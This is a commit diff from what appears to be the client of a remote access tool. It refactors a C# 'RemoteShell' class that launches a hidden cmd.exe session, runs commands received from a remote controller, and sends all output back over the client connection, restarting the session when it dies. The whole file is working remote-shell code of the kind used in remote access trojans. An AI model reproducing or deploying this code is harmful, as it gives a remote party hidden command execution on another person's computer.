This commit is contained in:
MaxXor 2015-01-15 10:08:28 +01:00
parent ace4449c02
commit 55de07401f
1 changed files with 30 additions and 57 deletions

View File

@ -1,18 +1,17 @@
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Text;
using System.Threading; using System.Threading;
namespace xClient.Core.RemoteShell namespace xClient.Core.RemoteShell
{ {
public class Shell public class Shell
{ {
private Process prc; private Process _prc;
private bool read; private bool _read;
private void CreateSession() private void CreateSession()
{ {
prc = new Process _prc = new Process
{ {
StartInfo = new ProcessStartInfo("cmd") StartInfo = new ProcessStartInfo("cmd")
{ {
@ -22,12 +21,12 @@ private void CreateSession()
RedirectStandardError = true, RedirectStandardError = true,
CreateNoWindow = true, CreateNoWindow = true,
WorkingDirectory = @"C:\", WorkingDirectory = @"C:\",
Arguments = "/K", Arguments = "/K"
} }
}; };
prc.Start(); _prc.Start();
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(Program._Client); new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(Program.ConnectClient);
new Thread(Redirect).Start(); new Thread(Redirect).Start();
} }
@ -36,91 +35,65 @@ private void Redirect()
{ {
try try
{ {
bool isTestUsed = false; using (var reader = _prc.StandardOutput)
prc.StandardInput.WriteLine("test");
prc.StandardInput.Flush();
prc.StandardOutput.ReadLine();
prc.StandardOutput.ReadLine();
while (read)
{ {
if (read && prc.HasExited) while (!reader.EndOfStream && _read)
throw new Exception("session unexpectedly closed");
StringBuilder commandResult = new StringBuilder();
prc.StandardOutput.ReadLine();
while (true)
{ {
string line = prc.StandardOutput.ReadLine(); new Packets.ClientPackets.ShellCommandResponse(reader.ReadLine() + Environment.NewLine).Execute(Program.ConnectClient);
if (string.IsNullOrEmpty(line))
break;
if (!isTestUsed)
{
isTestUsed = line.Contains("test");
if (isTestUsed)
break;
}
commandResult.AppendLine(line);
} }
commandResult.AppendLine();
new Packets.ClientPackets.ShellCommandResponse(commandResult.ToString()).Execute(Program._Client);
} }
if (_prc.HasExited && _read)
throw new ApplicationException("session unexpectedly closed");
} }
catch catch (ApplicationException)
{ {
new Packets.ClientPackets.ShellCommandResponse(">> Session unexpectedly closed" + Environment.NewLine).Execute(Program.ConnectClient);
CreateSession(); CreateSession();
} }
} }
public bool ExecuteCommand(string command) public bool ExecuteCommand(string command)
{ {
if (!prc.HasExited) if (_prc.HasExited)
{ return false;
prc.StandardInput.WriteLine(command);
prc.StandardInput.WriteLine(); _prc.StandardInput.WriteLine(command);
prc.StandardInput.Flush(); _prc.StandardInput.Flush();
return true;
} return true;
return false;
} }
public Shell() public Shell()
{ {
read = true; _read = true;
CreateSession(); CreateSession();
} }
~Shell() ~Shell()
{ {
read = false; _read = false;
try try
{ {
if (!prc.HasExited) if (!_prc.HasExited)
prc.Kill(); _prc.Kill();
} }
catch catch
{ } { }
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program._Client); new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program.ConnectClient);
} }
public void CloseSession() public void CloseSession()
{ {
read = false; _read = false;
try try
{ {
if (!prc.HasExited) if (!_prc.HasExited)
prc.Kill(); _prc.Kill();
} }
catch catch
{ } { }
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program._Client); new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(Program.ConnectClient);
} }
} }
} }